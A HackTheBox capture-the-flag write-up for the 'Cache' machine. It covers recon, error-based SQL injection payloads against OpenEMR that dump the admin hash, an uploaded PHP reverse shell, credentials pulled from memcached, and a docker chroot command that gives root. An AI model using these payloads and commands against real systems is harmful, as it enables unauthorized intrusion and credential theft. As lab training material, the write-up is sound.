
HackTheBox – Cache

S  ummary

• Discovery of hard coded password in javascript file.
• Discovery hms.htb virtual host.
• Exploited known authentication bypass and SQLi vulnerabilities in openemr software 

running on hms.htb to gain openemr_admin's credentials.
• Uploaded a php reverse shell and gained access to the server.
• Gained access to the user – Ash via the password discovered in the javascript file.
• Escalated privileges to the user – Luffy by extracting their credentials via memcached.
• Escalated privileges to root via docker.
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Recon

I began by adding 10.10.10.188 to /etc/hosts as cache.htb
This was followed up by nmap scans only revealing ports 22 and 80 running SSH and HTTP 
respectively.

# Nmap 7.80 scan initiated Mon Oct 12 11:42:03 2020 as: nmap -sV -sC -p22,80 -oN nmap.txt cache.htb
Nmap scan report for cache.htb (10.10.10.188)
Host is up (0.20s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a9:2d:b2:a0:c4:57:e7:7c:35:2d:45:4d:db:80:8c:f1 (RSA)
|   256 bc:e4:16:3d:2a:59:a1:3a:6a:09:28:dd:36:10:38:08 (ECDSA)
|_  256 57:d5:47:ee:07:ca:3a:c0:fd:9b:a8:7f:6b:4c:9d:7c (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Cache
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
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Visiting the webserver hosted on port 80 brings us to the following page.

Navigating to the author page nets a potential username and a message regarding another project - 
HMS
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Navigating to the login page we can see a javascript file running in the background.
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Checking the contents of this js file nets credentials of ash:H@v3_fun
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Using these credentials on the login page however only leads to the following page which is a dead 
end.
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By visiting the page via it's IP address rather than cache.htb we can modify the host parameter of 
the request to hms.htb, this redirects to a new page - /interface/login/login.php

With this information I added hms.htb to /etc/hosts under 10.10.10.188
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Visiting hms.htb brings us to a login panel for some software called openemr.

Searching for known exploits for this software nets the following pdf file:
https://www.open-emr.org/wiki/images/1/11/Openemr_insecurity.pdf

This document explains a lot of vulnerabilities within this software, including an authentication 
bypass and several SQL injections.

It is possible to gain a session cookie by simply visiting /portal/account/register.php.
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With a session cookie we can now access /portal/add_edit_event_user.php – one of the pages 
vulnerable to SQLi.

FootHold

By submitting a single apostrophe we can trigger an SQL error, suggesting that the page is indeed 
vulnerable.

Using the following payload we can confirm the vulnerability and gain the database name at the 
same time.

/add_edit_event_user.php?eid=1 ANDEXTRACTVALUE(0,CONCAT(0x5c,database()))
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The following payload isn't successful as our error message can only display 1 result and this query 
returns multiple results.

/add_edit_event_user.php?eid=1 ANDEXTRACTVALUE(0,CONCAT(0x5c,(SELECT TABLE_NAME 
FROM INFORMATION_SCHEMA.TABLES)))

This can be bypassed (albeit still only showing 1 table name) by using the following payload:

/add_edit_event_user.php?eid=1 ANDEXTRACTVALUE(0,CONCAT(0x5c,(SELECT TABLE_NAME 
FROM INFORMATION_SCHEMA.TABLES LIMIT 1)))
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Making a small alteration to this payload will allow enumeration of table names by their line 
number.

/add_edit_event_user.php?eid=1 ANDEXTRACTVALUE(0,CONCAT(0x5c,(SELECT TABLE_NAME 
FROM INFORMATION_SCHEMA.TABLES LIMIT <number>, 1)))

After some trial and error I discovered that there were around 280~ table names, in order to 
enumerate these effectively I used burp intruder, setting the first argument of LIMIT as the field to 
bruteforce.
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I then set the payload to a list of numbers going up to 300.

Finally I used the grep feature to make the output display the discovered table names.
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This returned 294 tables.
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I then enumerated the users_secure table for columns, netting username and password using the 
following payloads:

/add_edit_event_user.php?eid=1 ANDEXTRACTVALUE(0,CONCAT(0x5c,(SELECT COLUMN_NAME 
FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'users_secure' LIMIT 1,1)))

/add_edit_event_user.php?eid=1 ANDEXTRACTVALUE(0,CONCAT(0x5c,(SELECT COLUMN_NAME 
FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'users_secure' LIMIT 2,1)))
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Using the following payload we discover the user – openemr_admin:

/add_edit_event_user.php?eid=1 ANDEXTRACTVALUE(0,CONCAT(0x5c,(SELECT username FROM
users_secure)))

The following payload only delivers a partial password hash:

/add_edit_event_user.php?eid=1 ANDEXTRACTVALUE(0,CONCAT(0x5c,(SELECT password FROM
users_secure)))
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This can be worked around by using the following 2 queries searching for substrings of the hash:

/add_edit_event_user.php?eid=1 ANDEXTRACTVALUE(0,CONCAT(0x5c,(SELECT 
SUBSTRING(password, 1 ,31) FROM users_secure)))

/add_edit_event_user.php?eid=1 ANDEXTRACTVALUE(0,CONCAT(0x5c,(SELECT 
SUBSTRING(password, 32 ,62) FROM users_secure)))
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With a complete hash we can use john to crack it, revealing openemr_admin's password as xxxxxx

This can be used to authenticate via the openemr interface. Once authenticated it is possible to used 
the Administrator tools to add a new php page.

I used pentest monkeys php-reverse-shell.php.

https://github.com/pentestmonkey/php-reverse-shell

17
@driggzzzz

Cache Writeup HTB



Visiting /sites/default/images we can see the uploaded php file.

I set up a listener and clicked the link, providing me with a reverse shell as the user www-data.
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Privelege Escalation – User: Ash

I spawned a bash session using python3 -c 'import pty; pty.spawn(“/bin/bash”)' and successfully 
su'd into the user Ash by using the earlier discovered password - H@v3_fun

Privelege Escalation – User: Luffy

Enumerating the system to ports listening internally reveals 3306 (MySQL) and 11211, which is an 
unusual port.

Googling for this port number reveals that it is likely running memcached, this is almost confirmed 
by using telnet to connect to the port and issuing the command - version
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By using the command stats cachedump we can 100% confirm that this is running memcached. 
This also reveals several items, most interestingly user and passwd. We can get the contents of these
items and reveal a username – luffy and a password 0n3_p1ec3

Using these credentials we can su to the user – Luffy.
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Privilege Escalation - Root

As Luffy is a member of the docker group, escalating privilges to root is trivial. We can first of all 
check for images on docker, revealing an ubuntu image.

This can then be used to gain a shell as root using the following command:

docker run -v /:/mnt –rm -it ubuntu chroot /mnt sh
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